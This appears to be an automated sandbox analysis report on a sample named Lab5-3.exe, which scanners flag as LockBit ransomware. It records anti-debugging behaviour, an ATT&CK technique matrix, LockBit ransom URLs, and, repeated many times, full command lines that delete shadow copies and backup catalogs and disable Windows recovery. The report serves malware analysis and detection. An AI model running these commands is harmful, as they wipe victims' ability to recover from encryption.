Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\Lab5-3.exe

Code function: 19_2_0041A8E0 CreateThread,NtSetInformationThread,NtAllocateVirtualMemory,GetWindowsDirectoryW,RtlAcquirePebLock,RtlInitUnicodeString,RtlInitUnicodeString,RtlInitUnicodeString,RtlReleasePebLock,LdrEnumerateLoadedModules,

19_2_0041A8E0

Source: C:\Users\user\Desktop\Lab5-3.exe

19_2_00416710

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040F800 mov esi, dword ptr fs:[00000030h]	19_2_0040F800
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00416E10 mov eax, dword ptr fs:[00000030h]	19_2_00416E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00416E10 mov esi, dword ptr fs:[00000030h]	19_2_00416E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040F630 mov esi, dword ptr fs:[00000030h]	19_2_0040F630
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00416CE0 mov esi, dword ptr fs:[00000030h]	19_2_00416CE0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00416B00 mov ecx, dword ptr fs:[00000030h]	19_2_00416B00
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00419330 mov ebx, dword ptr fs:[00000030h]	19_2_00419330
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040FDB0 mov eax, dword ptr fs:[00000030h]	19_2_0040FDB0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040F800 mov esi, dword ptr fs:[00000030h]	27_2_0040F800
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00416E10 mov eax, dword ptr fs:[00000030h]	27_2_00416E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00416E10 mov esi, dword ptr fs:[00000030h]	27_2_00416E10
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040F630 mov esi, dword ptr fs:[00000030h]	27_2_0040F630
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00416B00 mov ecx, dword ptr fs:[00000030h]	27_2_00416B00
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00419330 mov ebx, dword ptr fs:[00000030h]	27_2_00419330
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00416CE0 mov esi, dword ptr fs:[00000030h]	27_2_00416CE0
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040FDB0 mov eax, dword ptr fs:[00000030h]	27_2_0040FDB0

Source: C:\Users\user\Desktop\Lab5-3.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\Lab5-3.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c vssadmin Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c wmic SHADOWCOPY /nointeractive
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\Lab5-3.exe

Code function: 19_2_00416E10 EntryPoint,ExitProcess,RtlInitializeCriticalSection,CreateThread,CreateThread,NtSetInformationThread,NtSetInformationThread,Sleep,GetVersion,ExitProcess,ExitProcess,NtOpenProcess,GetSecurityInfo,RtlAllocateAndInitializeSid,RtlQueryInformationAcl,RtlLengthSid,malloc,RtlCreateAcl,RtlAddAccessDeniedAce,RtlGetAce,RtlGetAce,RtlAddAce,SetSecurityInfo,free,CreateThread,NtSetInformationThread,NtClose,RtlFreeSid,NtSetInformationProcess,RtlAdjustPrivilege,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,CreateThread,NtSetInformationThread,CreateThread,NtSetInformationThread,ExitProcess,GetTickCount,GetTickCount,GetTickCount,GetConsoleWindow,IsWindowVisible,NtWaitForSingleObject,ExitProcess,

19_2_00416E10

Source: C:\Users\user\Desktop\Lab5-3.exe

Code function: 19_2_00412A80 cpuid

19_2_00412A80

Source: C:\Windows\System32\vds.exe

Queries volume information: \Device\CdRom0 VolumeInformation

Source: C:\Users\user\Desktop\Lab5-3.exe

Code function: 19_2_0040F630 wvsprintfA,wsprintfA,wsprintfA,GetLocalTime,wsprintfA,RtlEnterCriticalSection,SetConsoleTextAttribute,SetConsoleTextAttribute,WriteFile,WriteFile,SetConsoleTextAttribute,WriteFile,GetConsoleWindow,IsWindowVisible,FlashWindow,RtlLeaveCriticalSection,

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	23 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	OS Credential Dumping	11 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 DLL Side-Loading	LSASS Memory	4 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Inhibit System Recovery
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 File Deletion	Security Account Manager	26 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	1 Defacement
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	112 Masquerading	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	13 Virtualization/Sandbox Evasion	LSA Secrets	1 Query Registry	SSH	Keylogging	1 Proxy	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	13 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Source	Detection	Scanner	Label
Lab5-3.exe	96%	ReversingLabs	Win32.Ransomware.LockBit
Lab5-3.exe	100%	Avira	TR/Crypt.XPACK.DT
Lab5-3.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://chromeenterprise.google/policies/#BrowserSwitcherEnabled	0%	URL Reputation	safe
http://www.bohemiancoding.com/sketch	0%	URL Reputation	safe
https://passwords.google.comGoogle	0%	URL Reputation	safe
https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl	0%	URL Reputation	safe
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl	0%	URL Reputation	safe
https://chromeenterprise.google/policies/#BrowserSwitcherUseIeSitelist	0%	URL Reputation	safe
https://chromeenterprise.google/policies/#BrowserSwitcherUrlList	0%	URL Reputation	safe
https://chromeenterprise.google/policies/#BrowserSwitcherUrlGreylist	0%	URL Reputation	safe
http://lockbit-decryptor.top/?BC76D224712A7481BC6E90ACB6D18E50	100%	Avira URL Cloud	malware
http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50	100%	Avira URL Cloud	malware
http://lockbitks2tvnmwk.onion/?	100%	Avira URL Cloud	malware
http://lockbit-decryptor.top/?	100%	Avira URL Cloud	malware

Name	IP	Active	Malicious	Antivirus Detection	Reputation
google.com	172.217.165.206	true	false		high
www.google.com	142.250.217.228	true	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://chromeenterprise.google/policies/#BrowserSwitcherEnabled	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.activity.windows.com/v1/assets	Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/category/extensions	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://word.office.com	Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.google.com/chromebook?p=app_intent	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://jquery.org/license	Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bohemiancoding.com/sketch	Lab5-3.exe, 00000028.00000003.2636402904.000000001E109000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E0C9000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E1C9000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E189000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2591083584.000000001E109000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E089000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E149000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	wctF86A.tmp.lockbit.0.dr	false		high
http://jqueryui.com	Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	false		high
